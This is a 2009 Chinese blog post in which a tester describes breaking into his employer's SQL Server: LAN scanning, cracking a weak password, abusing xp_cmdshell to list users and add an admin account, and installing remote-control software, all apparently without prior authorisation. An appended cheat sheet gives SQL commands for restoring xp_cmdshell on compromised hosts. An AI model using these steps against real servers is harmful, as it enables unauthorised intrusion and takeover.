记一次无意的侵入测试

发表于:2009-06-26来源:作者:点击数: 标签:
前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是 功能测试 、安装卸载测试、 兼容性测试 与 性能测试 ,对软件安全这块测试的比较少。 有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做 安全性测试 ,
前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试性能测试,对软件安全这块测试的比较少。

  有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。

  公司的软件是C/S的系统,连接的是sqlserver数据库sqlserver数据库有漏洞这个是早有耳闻,所以就从sqlserver开始下手。

  首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接外网,然后有一个135  445 等一些端口,这个也没有使用到,最重要的一个信息看到了,sqlserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了一个简单的暴力破解软件,破解了密码。

  哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!

  既然进来了,没事就继续逛逛吧,记得sqlserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。

  附:xp_cmdshell的一些简单使用(其他网友经验)

  开启cmdshell的SQL语句

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  判断存储扩展是否存在

  Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

  返回结果为1就OK

  恢复xp_cmdshell

  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

  返回结果为1就OK

  否则上传xplog7.0.dll

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'

  扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'

  这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了。

  使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:

  sp_dropextendedproc "xp_cmdshell"

  就执行不了DOS命令了,当然用上面的语句可以复原。

原文转自:http://www.ltesting.net